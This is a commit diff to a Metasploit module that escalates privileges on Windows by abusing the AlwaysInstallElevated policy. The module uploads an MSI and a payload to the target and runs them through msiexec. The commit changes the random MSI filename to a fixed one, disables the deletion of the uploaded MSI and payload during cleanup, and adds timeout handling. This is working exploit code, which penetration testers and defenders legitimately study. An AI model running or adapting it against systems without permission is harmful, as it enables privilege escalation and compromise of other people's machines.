Changed to static msi filename

Author: Meatballs1

modules/exploits/windows/local/always_install_elevated.rb

@@ -31,7 +31,8 @@ def initialize(info={})
 				file under external/source/exploits/exec_payload_msi/exec_payload.wxs.
 				This MSI simply executes payload.exe within the same folder.
 
-				The MSI may not execute succesfully successive times.
+				The MSI may not execute succesfully successive times, but may be able to
+				get around this by regenerating the MSI.
 
 				MSI can be rebuilt from the source using the WIX tool with the following commands:
 				candle exec_payload.wxs
@@ -106,15 +107,15 @@ def cleanup
 		if @executed
 			begin
 				print_status("Deleting MSI...")
-				file_rm(@msi_destination)
+				#file_rm(@msi_destination)
 			rescue Rex::Post::Meterpreter::RequestError => e
 				print_error(e.to_s)
 				print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
 			end
 
 			begin
 				print_status("Deleting Payload...")
-				file_rm(@payload_destination)
+				#file_rm(@payload_destination)
 			rescue Rex::Post::Meterpreter::RequestError => e
 				print_error(e.to_s)
 				print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
@@ -127,7 +128,7 @@ def exploit
 		if check == Msf::Exploit::CheckCode::Vulnerable
 			@executed = true
 
-			msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
+			msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
 			msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
 
 			# Upload MSI
@@ -161,7 +162,11 @@ def exploit
 
 			cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
 			vprint_status("Executing: #{cmd}")
-			result = cmd_exec(cmd)
+			begin
+				result = cmd_exec(cmd)
+			rescue Rex::TimeoutError
+				vprint_status("Execution timed out.")
+			end
 			vprint_status("MSI command-line feedback: #{result}")
 		end
 	end